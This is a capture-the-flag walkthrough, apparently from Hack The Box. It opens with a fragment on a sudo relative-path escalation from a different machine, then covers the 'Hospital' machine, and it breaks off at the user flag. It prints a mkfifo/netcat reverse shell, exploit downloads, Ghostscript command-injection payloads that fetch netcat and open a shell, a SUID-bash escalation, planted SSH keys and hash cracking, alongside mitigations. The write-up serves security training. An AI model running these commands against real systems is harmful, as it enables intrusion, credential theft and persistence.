System enumeration

As always, checking for any sudo rights is a good place to start.

$ whoami
dvir
$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

In this case, the user can execute /usr/bin/syscheck as sudo with no password.

Checking what the binary is reveals a bash script that needs elevated privileges to check some values and retrieve system information.

$ strings /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
  exit 1
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
exit 0
$

The if statement is particularly interesting. It checks if a script named initdb.sh is currently running. If it’s not running, it attempts to start this script and prints a message indicating it’s starting the database service. If it is running, it prints that the database service is running.

The file can be created in the present working directory to impersonate the initdb.sh script. If /usr/bin/syscheck is executed from the same directory to where the fake initdb.sh script is created, it will execute this file because it uses a relative path to locate and run initdb.sh.

Relative path vs. Absolute path

In the original script, the problematic part is:

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."

Here, ./initdb.sh refers to a relative path, which it looks for initdb.sh in the current working directory.

Here is a version of the script using absolute paths.

#!/bin/bash
if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

# Absolute path used here
initdb_script="/opt/scripts/initdb.sh"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  if [ -x "$initdb_script" ]; then
    $initdb_script 2>/dev/null
    /usr/bin/echo "Database service started."
  else
    /usr/bin/echo "Error: initdb.sh script not found or not executable."
  fi
else
  /usr/bin/echo "Database service is running."
fi

1. Absolute Path Definition: The path to initdb.sh is set as an absolute path (/opt/scripts/initdb.sh). This ensures that the script always attempts to execute the specific initdb.sh located in /opt/scripts, regardless of the current working directory.

2. Check for Script Existence and Executability: Before attempting to execute initdb.sh, the script checks if the file exists and is executable (-x). This adds an additional layer of safety by ensuring that the script does not attempt to execute a non-existent or non-executable file, which could result in errors or security issues.

3. Clear Error Messaging: In case the initdb.sh script is not found or is not executable; the script clearly prints an error message. This helps troubleshoot and ensures that script failures due to path issues are communicated clearly to the user or administrator.

Using absolute paths like this mitigates the risk of unintended file execution and enhances the script’s robustness by making its operation more predictable and secure.

Privilege escalation

Creating the initdb.sh file to execute /bin/bash results in the shell being elevated to root privileges.

$ echo "chmod u+s /bin/bash" > initdb.sh
$ chmod +x initdb.sh
$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average:  0.06, 0.03, 0.00
Database service is not running. Starting it...
$ /bin/bash -p
whoami
root
cat /root/root.txt
f894b8ca49729b<SNIP>

echo "chmod u+s /bin/bash" > initdb.sh

• This writes a command into a script file (initdb.sh) that, when executed, will set the SUID bit on /bin/bash. Setting the SUID bit (u+s) on /bin/bash will allow any user to run Bash as the root user. As the /usr/bin/syscheck binary can be run in the context of sudo, calling initdb.sh via this binary, means the encapsulated command will also be run as sudo, and /bin/bash will have its SUID successfully modified.

chmod +x initdb.sh

• Makes the initdb.sh script executable.

sudo /usr/bin/syscheck

• Runs the binary the user has sudo rights over, which ends with the malicious initdb.sh script being called.

/bin/bash -p

• Launches a new Bash shell with the SUID bit set (-p), running with root privileges because of the earlier chmod u+s /bin/bash.

Introduction

Hospital is rated as a medium-difficulty Windows machine. The kill chain was extensive. After registering a fraudulent account on a web frontend, an Insecure File Upload vulnerability was exploited to upload a malicious file type, leading to initial access on a Linux webserver.

An unpatched vulnerability in the Linux kernel was then exploited to elevate privileges and steal hashes. Cracking the hashes led to unauthorised access of a business email account. The use of unpatched software was then exploited to break out of the Linux webserver and obtain a shell on a Windows machine.

From there, insecure coding practices hardcoded a password in a batch script. The presence of a local administrator account and inappropriate file permissions resulted in obtaining NT Authority system access.

The machine demonstrates how various vulnerabilities can be chained together to become greater than the sum of their parts ultimately.

Contents

• Introduction

• Vulnerabilities explored

• Enumeration

• Exploitation

• Establishing persistence

• System enumeration

• Privilege escalation

• Lateral movement

Vulnerabilities explored

Insecure File Upload

Allows attackers to upload malicious files to a server, which can lead to unauthorised access or code execution. Mitigation involves strict validation of file types, sizes, and content, alongside implementing secure upload directories.

Weak credentials

Use of easily guessed or default credentials, making unauthorised access simpler. Mitigation includes enforcing strong password policies and educating users about secure password practices.

Unpatched Operating systems

Exploits known vulnerabilities in outdated operating systems, such as the Linux kernel. Regularly updating and patching operating systems and software mitigates this.

Command injections

Occurs when an application passes unsafe user-supplied data to a system shell. Mitigation involves validating and sanitising all user inputs and using secure coding practices to avoid the execution of untrusted commands.

Remote code execution

Allows an attacker to execute arbitrary code on a victim’s system. Mitigation strategies include keeping software current, employing least privilege principles, and using firewalls and intrusion detection/prevention systems.

Insecure coding

Vulnerabilities introduced by errors or poor practices in software development. Mitigation involves using secure coding practices, regular code reviews, and automated security scanning.

Improperly configured file or directory permissions that give unauthorised access. Regular audits and correctly setting permissions based on the principle of least privilege and separation of duties can mitigate this.

Local administrator accounts

Local accounts with high privileges are not being properly managed or disabled. Best practices include disabling unnecessary accounts and using centralised authentication methods like Active Directory and LAPS.

Tools

• Nmap

• Dirsearch

• Burpsuite

• PHP WebShell

• Linux Kernel exploit for initial privilege escalation

• Hashcat for password cracking

• CVE-2023-36664 exploit for command injection

• Evil-winrm

Tactics and Methods

Exploiting insecure code

• File Upload: Utilised to upload a .phar file, exploiting insecure file upload handling.

• Hardcoded Password: Identified in a batch script, demonstrating insecure coding practices.

Stealing hashes and exploiting weak credentials

• Hash Stealing: Stole system hashes from the /etc/shadow file.

• Weak credentials: Cracking them to reveal weak credentials.

Business email compromise

• Email Compromise: Achieved by exploiting weak credentials to access Dr Williams’ email, illustrating the danger of weak passwords and the effectiveness of password cracking.

Exploiting unpatched vulnerabilities

• Linux Kernel Exploit (CVE-2023-2640-CVE-2023-32629): Leveraged to gain elevated privileges through an unpatched kernel vulnerability.

• Command Injection (CVE-2023-36664): Used to inject and execute malicious commands in GhostScript, demonstrating the risk of unpatched software.

Establishing persistence

• Malicious SSH Keys: Added to ensure persistent access, highlighting the importance of securing authentication mechanisms.

Exploiting folder permissions and local administrator account

• Inappropriate Permissions: Exploited to achieve NT Authority system access, underscoring the need for proper file and directory permission settings.

• Local Admin Account: Utilised to grab the root flag to demonstrate access, showcasing the risks associated with not disabling unnecessary administrator accounts.

Enumeration

Nmap scanning

As always, we begin with an Nmap scan.

nmap -A -v 10.129.8.141 | tee nmap-output.txt   

A note on -A

• -A is a comprehensive scan. It stands for “aggressive scan” and combines several advanced scanning features in one command. Specifically, it enables OS detection (-O), version detection (-sV), script scanning (-sC), and traceroute (--traceroute).

• When you use -A, nmap not only performs a script scan with the default scripts (as -sC does) but also tries to identify the target's operating system, determine service/version information more aggressively, and map out the path packets take to the host.

• Using -A is a good choice when you want a comprehensive overview of the target, but it’s more intrusive and might be detected more easily by intrusion detection systems (IDS) than using -sC alone. Always ensure you have authorization to perform such scans on the network you’re investigating.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-19 04:09 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 04:09
Completed NSE at 04:09, 0.00s elapsed
Initiating NSE at 04:09
Completed NSE at 04:09, 0.00s elapsed
Initiating NSE at 04:09
Completed NSE at 04:09, 0.00s elapsed
Initiating Ping Scan at 04:09
Scanning 10.129.82.144 [2 ports]
Completed Ping Scan at 04:09, 0.32s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:09
Completed Parallel DNS resolution of 1 host. at 04:09, 0.00s elapsed
Initiating Connect Scan at 04:09
Scanning 10.129.82.144 [1000 ports]
Discovered open port 3389/tcp on 10.129.82.144
Discovered open port 22/tcp on 10.129.82.144
Discovered open port 139/tcp on 10.129.82.144
Discovered open port 445/tcp on 10.129.82.144
Discovered open port 8080/tcp on 10.129.82.144
Discovered open port 135/tcp on 10.129.82.144
Discovered open port 443/tcp on 10.129.82.144
Discovered open port 53/tcp on 10.129.82.144
Discovered open port 3269/tcp on 10.129.82.144
Discovered open port 593/tcp on 10.129.82.144
Discovered open port 88/tcp on 10.129.82.144
Discovered open port 464/tcp on 10.129.82.144
Discovered open port 2107/tcp on 10.129.82.144
Discovered open port 2103/tcp on 10.129.82.144
Discovered open port 3268/tcp on 10.129.82.144
Discovered open port 389/tcp on 10.129.82.144
Discovered open port 636/tcp on 10.129.82.144
Discovered open port 1801/tcp on 10.129.82.144
Discovered open port 2179/tcp on 10.129.82.144
Discovered open port 2105/tcp on 10.129.82.144
Completed Connect Scan at 04:10, 31.97s elapsed (1000 total ports)
Initiating Service scan at 04:10
Scanning 20 services on 10.129.82.144
Completed Service scan at 04:11, 64.47s elapsed (20 services on 1 host)
NSE: Script scanning 10.129.82.144.
Initiating NSE at 04:11
Completed NSE at 04:12, 42.19s elapsed
Initiating NSE at 04:12
Completed NSE at 04:12, 5.80s elapsed
Initiating NSE at 04:12
Completed NSE at 04:12, 0.00s elapsed
Nmap scan report for 10.129.82.144
Host is up (0.32s latency).
Not shown: 980 filtered tcp ports (no-response)
PORT     STATE SERVICE           VERSION
22/tcp   open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
|_  256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-03-19 15:10:36Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after:  2028-09-06T10:49:03
| MD5:   04b1:adfe:746a:788e:36c0:802a:bdf3:3119
|_SHA-1: 17e5:8592:278f:4e8f:8ce1:554c:3550:9c02:2825:91e3
443/tcp  open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
| tls-alpn:
|_  http/1.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4:4cc9:9e84:b26f:9e63:9f9e:d229:dee0
|_SHA-1: b023:8c54:7a90:5bfa:119c:4e8b:acca:eacf:3649:1ff6
|_http-favicon: Unknown favicon MD5: 924A68D347C80D0E502157E83812BB23
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after:  2028-09-06T10:49:03
| MD5:   04b1:adfe:746a:788e:36c0:802a:bdf3:3119
|_SHA-1: 17e5:8592:278f:4e8f:8ce1:554c:3550:9c02:2825:91e3
1801/tcp open  msmq?
2103/tcp open  msrpc             Microsoft Windows RPC
2105/tcp open  msrpc             Microsoft Windows RPC
2107/tcp open  msrpc             Microsoft Windows RPC
2179/tcp open  vmrdp?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after:  2028-09-06T10:49:03
| MD5:   04b1:adfe:746a:788e:36c0:802a:bdf3:3119
|_SHA-1: 17e5:8592:278f:4e8f:8ce1:554c:3550:9c02:2825:91e3
3269/tcp open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after:  2028-09-06T10:49:03
| MD5:   04b1:adfe:746a:788e:36c0:802a:bdf3:3119
|_SHA-1: 17e5:8592:278f:4e8f:8ce1:554c:3550:9c02:2825:91e3
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.hospital.htb
| Issuer: commonName=DC.hospital.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-03-18T15:06:28
| Not valid after:  2024-09-17T15:06:28
| MD5:   f596:b381:3127:b856:8368:11d2:c493:ebad
|_SHA-1: 9445:fdff:334c:4ad8:2560:bdcc:4665:a871:ec50:4d6b
| rdp-ntlm-info:
|   Target_Name: HOSPITAL
|   NetBIOS_Domain_Name: HOSPITAL
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: hospital.htb
|   DNS_Computer_Name: DC.hospital.htb
|   DNS_Tree_Name: hospital.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2024-03-19T15:11:35+00:00
8080/tcp open  http              Apache httpd 2.4.55 ((Ubuntu))
|_http-server-header: Apache/2.4.55 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: Login
|_Requested resource was login.php
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m57s, deviation: 0s, median: 6h59m57s
| smb2-time:
|   date: 2024-03-19T15:11:35
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

NSE: Script Post-scanning.
Initiating NSE at 04:12
Completed NSE at 04:12, 0.00s elapsed
Initiating NSE at 04:12
Completed NSE at 04:12, 0.00s elapsed
Initiating NSE at 04:12
Completed NSE at 04:12, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.01 seconds

Findings

The scan returned an extensive list of possibilities. At first glance, items of interest are:

1. Mixed Operating Systems: The service information suggests a mixture of Linux and Windows operating systems. This is indicated by the presence of OpenSSH running on Ubuntu and various Microsoft services such as Active Directory LDAP, Windows RPC, and Terminal Services. This could be the use of a Windows Subsystem for Linux.

2. Domain and Active Directory Services: The presence of services such as LDAP (ports 389, 636, 3268, 3269) with references to a domain (hospital.htb), Microsoft Windows Active Directory and Kerberos (port 88) suggest that the target functions as a domain controller within a Windows Active Directory environment. This could provide avenues for exploiting attack vectors relating to domain-level vulnerabilities or misconfigurations.

3. Web Services: Ports 443 and 8080 run web services (Apache httpd) with SSL, where port 443’s service is identified as a webmail system for “Hospital Webmail”. The presence of a login page on port 8080 (login.php) suggests a potential target for web-based attacks, such as SQL injection, brute-force login, or exploiting web application vulnerabilities.

4. Potential Entry Points: The open ports 22 (SSH) and 3389 (RDP) are traditional entry points for system access. The reported versions may be worth exploring for known vulnerabilities as a means to gain initial access. More likely, however, is they could be used after stealing credentials from elsewhere.

5. Service Versions and Vulnerabilities: It is worth checking the version information for several services, such as OpenSSH 9.0p1 on Ubuntu and Apache httpd 2.4.56 on Windows, for known vulnerabilities.

6. Network Service Protocols: The open ports associated with Microsoft-specific services (e.g., NetBIOS-ssn on port 139, Microsoft-ds on 445, ncacn_http on 593) hint at possible SMB or RPC vulnerabilities that could be exploited for lateral movement or privilege escalation within the network.

Domain enumeration

Next, the domain is enumerated. First, we add it to the host file to make it accessible.

echo "10.129.82.144 hospital.htb" | sudo tee -a /etc/hosts

Navigating to Port 8080 reveals a login page, and a link to register an account.

There is no validation on account registration, so a fraudulent account is created.

Logging in with the account, and a page is presented to upload medical records, suggesting the presence of a file upload vulnerability.

File upload enumeration

A test.jpg file is created, and the results are monitored in Burpsuite.

──(kali㉿kali)-[~/Documents/htb-machines/hospital/exploits]
└─$ touch test.jpg && echo test > test.jpg

Burpsuite confirms the file was uploaded successfully.

Given the backend appears to be PHP, a PHP file is tried next.

It appears PHP files are disallowed. In this instance, a PHAR file can be tried.

A PHAR (PHP Archive) file is a packaging format for PHP applications, enabling entire PHP applications, including their supporting files, to be distributed and executed as a single archive file. Introduced in PHP 5.3, PHAR files are conceptually similar to Java’s JAR files, providing a way to distribute and deploy PHP applications easily.

PHAR files can contain PHP code, HTML, images, and other resources needed by the application. They are designed to simplify deployment: instead of dealing with many files and directories, you only need to manage one PHAR file. This makes it easier to distribute, install, and update complex PHP applications. </small>

┌──(kali㉿kali)-[~/Documents/htb-machines/hospital/exploits]
└─$ touch test.phar && echo test > test.phar

A note of .phar files

• The PHAR file works, indicating an Insecure File Upload vulnerability due to insecure coding where the potentially malicious file extension has not been disallowed.

• To exploit this, a phar based shell can be crafted and uploaded. Navigating to the file will execute the payload. So understanding where the files upload to is required.

• Browsing to the /uploads directory seems to indicate that the location does not exist. Further directory enumeration is required to validate how the file upload vulnerability can be successfully exploited.

Directory enumeration

Dirsearch can be used to enumerate the directories.

(kali㉿kali)-[~/Documents/htb-machines/hospital/scans]
└─$ dirsearch -u http://hospital.htb:8080
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Documents/htb-machines/hospital/scans/reports/http_hospital.htb/_24-04-07_20-12-41.txt

Target: http://hospital.htb/

[20:12:41] Starting:

The results differ from the browser, showing a 301 Moved Permanently and a 403 forbidden status code for http://hospital.htb:8080/uploads/.

Exploitation

Given the uploads folder is not directly accessible, trying to access the file directly rather than traversing the folder structure may work.

Uploading a shell with a .phar extension appears to work briefly, with the shell caught for a moment but then dropped. Browsing to the malicious file, an error message appears.

Attempting a web shell is more successful, but command results are not returned, and the attempts begin to return a 404 status code, indicating the file is no longer present.

Trying the initial shell again now also returns a 404 code, which may indicate some sort of time-based file process mechanism.

Returning to the web shell responses and attempting to redirect them by forwarding them back to the terminal also fails.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.2 4321 >/tmp/f

Trying the command encoded in base-64 and url-encoding also fails. This indicates the problem is likely with the web shell itself.

Trying a new shell from flozz is successful, and a working webshell is obtained.

Forwarding it back to the terminal is also successful.

To stabilise the shell, we can use the following command combination.

• python3 -c 'import pty;pty.spawn("/bin/bash")':

  • Launches a new Bash shell within a pseudo-terminal (PTY) session.

  • Improves interaction with the shell (e.g., supports auto-completion, history).

  • Makes the shell behave more like a local terminal.

• export TERM=xterm:

  • Sets the terminal type to xterm, which is widely compatible and supports advanced features.

  • Ensures that the terminal emulation behaves consistently.

  • Enables colour support, cursor movement, and screen-clearing commands.

• stty raw -echo:

  • Sets the terminal to raw mode, sending characters directly without processing.

  • Disables local echo, preventing typed characters from being displayed twice.

  • Ensures that input and output are sent and received as intended, without automatic newline handling or echoing.

• fg:

  • Brings the most recent background job (your shell) to the foreground.

  • Necessary if the shell was backgrounded, especially after changing terminal settings.

  • It may require hitting Enter to see the prompt after execution.

After the last step hit return a few times to return the prompt.

Looking in the /uploads file, there are no files, so regaining a shell may be difficult.

Establishing Persistence

To avoid having to re-do the initial steps in the event of a disconnected shell, malicious SSH keys can be placed on the target.

First, the ~/.ssh directory is created, and appropriate write permissions confirmed.

www-data@webserver:/var/www/html$ ls -la ~/.ssh
ls: cannot access '/var/www/.ssh': No such file or directory
www-data@webserver:/var/www/html$ mkdir ~/.ssh
www-data@webserver:/var/www/html$ touch ~/.ssh/test && echo "write access confirmed" || echo "no write access"
write access confirmed
www-data@webserver:/var/www/html$ rm ~/.ssh/test

Then, an SSH key pair is generated on the local machine.

┌──(kali㉿kali)-[~/Documents/htb-machines/hospital/persistence]
└─$ ssh-keygen -t rsa -b 2048 -f ctf_key

• -t rsa: Specifies the type of key to create, in this case, RSA.

• -b 2048: Specifies the number of bits in the key, in this case, 2048 bits.

• -f ~/.ssh/ctf_key: Specify the filename of the key; replace ctf_key with a name that makes sense for your situation.

The public key is then displayed.

┌──(kali㉿kali)-[~/Documents/htb-machines/hospital/persistence]
└─$ cat ctf_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqtM5AlnUbVyg+iWvhLSn96sRU5Epi8/8T<SNIP>

On the target system, the malicious public key is appended to the ~/.ssh/authorized_keys file.

www-data@webserver:/var/www/html$ nano ~/.ssh/authorized_keys
www-data@webserver:/var/www/html$ cat ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqtM5AlnUbVyg+iWvhLSn<SNIP>
www-data@webserver:/var/www/html$

Now if the shell is dropped, it may be possible to regain access using SSH easily

┌──(kali㉿kali)-[~/Documents/htb-machines/hospital/persistence]
└─$ ssh -i ~/Documents/htb-machines/hospital/persistence/ctf_key www-data@hospital.htb

System enumeration

Checking sudo permissions for the www-data account requires a password.

www-data@webserver:/var/www/html$ sudo -l
[sudo] password for www-data:

However, a review of the Linux kernel version reveals an unpatched vulnerability.

www-data@webserver:/var/www/html$ uname -a
Linux webserver 5.19.0-35-generic #36-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 3 18:36:56 UTC 202

Privilege escalation

Searching the Linux kernel version reveals a potential privilege escalation vulnerability, as described here.

The vulnerability is easily exploited by downloading the exploit, serving it, and retrieving it from the target machine.

┌──(kali㉿kali)-[~/…/htb-machines/hospital/exploits/CVE-2023-2640-CVE-2023-32629]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

10.129.229.189 - - [07/Apr/2024 21:54:22] "GET /exploit.sh HTTP/1.1" 200 -

www-data@webserver:/var/www/html$ wget 10.10.14.2:80/exploit.sh
--2024-04-08 08:54:18--  http://10.10.14.2/exploit.sh
Connecting to 10.10.14.2:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 558 [text/x-sh]
Saving to: ‘exploit.sh’

exploit.sh          100%[===================>]     558  --.-KB/s    in 0s

2024-04-08 08:54:19 (95.0 MB/s) - ‘exploit.sh’ saved [558/558]

www-data@webserver:/var/www/html$

Running the exploit returns a root shell.

www-data@webserver:/var/www/html$ bash exploit.sh
[+] You should be root now
[+] Type 'exit' to finish and leave the house cleaned
root@webserver:/var/www/html#

Now would be a good time to create persistence with the root user.

Lateral movement

Stealing and cracking hashes

Looking at /etc/shadow, there is a hash for the root and drwilliams accounts.

Stealing the hashes and running them through Hashcat cracks the drwilliams one.

┌──(kali㉿kali)-[~/Documents/htb-machines/hospital/credentials]
└─$ hashcat hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
$6$uWBSeTcoXXT<SNIP>

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target......: $6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz...W192y/
Time.Started.....: Sun Apr  7 22:04:47 2024 (1 min, 3 secs)
Time.Estimated...: Sun Apr  7 22:05:50 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     3366 H/s (3.58ms) @ Accel:1024 Loops:64 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 215040/14344385 (1.50%)
Rejected.........: 0/215040 (0.00%)
Restore.Point....: 214016/14344385 (1.49%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4992-5000
Candidate.Engine.: Device Generator
Candidates.#1....: raycharles -> pakimo
Hardware.Mon.#1..: Util: 93%

Started: Sun Apr  7 22:04:28 2024
Stopped: Sun Apr  7 22:05:52 2024

Business email compromise

Now, with Dr. William’s credentials, other services revealed in the initial scan, such as a webmail service running on Port 443, can be explored.

Trying Dr. Williams’ credentials is successful and access is obtained to the email account.

An email in the inbox hints at another potential vector.

Windows movement

A Google for GhostScript and .eps reveals another potential vector: a remote code execution via a command injection.

• jakabakos/CVE-2023-36664-Ghostscript-command-injection: Ghostscript command injection vulnerability PoC (CVE-2023-36664) (github.com)

It seems the vector is to create a payload that exploited the vulnerability in the GhostScript software, and send it back to Dr. Brown to move over to that user’s machine..

The payload is crafted by creating a malicious .eps file and appending a command to it. This appears to be a method that will break out into the Windows layer, as presumably, Dr. Brown will read the email and open the file on a Windows machine.

Proceeding with this theory, the Windows version of Netcat (nc64.exe) is required and placed in the same directory as the exploit. A payload is created that retrieves the nc64.exe from a web server.

┌──(kali㉿kali)-[~/…/htb-machines/hospital/exploits/CVE-2023-36664-Ghostscript-command-injection]
└─$ python3 CVE_2023_36664_exploit.py --inject --payload "curl 10.10.14.2:8000/nc64.exe -o nc.exe" --filename new-design.eps
[+] Payload successfully injected into new-design.eps.

The binary is then served, and the malicious file is sent back to Dr. Brown.

A few moments later, the nc64.exe binary was successfully retrieved from the server, indicating Dr. Brown had opened the malicious .eps file.

┌──(kali㉿kali)-[~/…/htb-machines/hospital/exploits/CVE-2023-36664-Ghostscript-command-injection]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.229.189 - - [07/Apr/2024 22:36:03] "GET /nc64.exe HTTP/1.1" 200 -

A second payload is now crafted that will make use of the nc64.exe binary, and establish a reverse shell.

┌──(kali㉿kali)-[~/…/htb-machines/hospital/exploits/CVE-2023-36664-Ghostscript-command-injection]
└─$ python3 CVE_2023_36664_exploit.py --inject --payload "nc.exe 10.10.14.2 1234 -e cmd.exe" --filename file.eps
[+] Payload successfully injected into file.eps.

The second payload is sent via email as well.

Then, a reverse shell is successfully caught, providing access to Dr. Brown’s Windows machine.

┌──(kali㉿kali)-[~/…/htb-machines/hospital/exploits/CVE-2023-36664-Ghostscript-command-injection]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.2] from (UNKNOWN) [10.129.229.189] 25203
Microsoft Windows [Version 10.0.17763.4974]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\drbrown.HOSPITAL\Documents>whoami
whoami
hospital\drbrown

C:\Users\drbrown.HOSPITAL\Documents>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 7357-966F

 Directory of C:\Users\drbrown.HOSPITAL\Documents

04/08/2024  05:28 AM    <DIR>          .
04/08/2024  05:28 AM    <DIR>          ..
10/23/2023  03:33 PM               373 ghostscript.bat
04/08/2024  05:28 AM            45,272 nc.exe
               2 File(s)         45,645 bytes
               2 Dir(s)   4,082,790,400 bytes free

C:\Users\drbrown.HOSPITAL\Documents>

The user flag is found.

C:\Users\drbrown.HOSPITAL>cd Desktop
cd Desktop

C:\Users\drbrown.HOSPITAL\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 7357-966F

 Directory of C:\Users\drbrown.HOSPITAL\Desktop

10/27/2023  12:24 AM    <DIR>          .
10/27/2023  12:24 AM    <DIR>          ..
04/08/2024  05:18 AM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   4,082,765,824 bytes free

C:\Users\drbrown.HOSPITAL\Desktop>cat user.txt
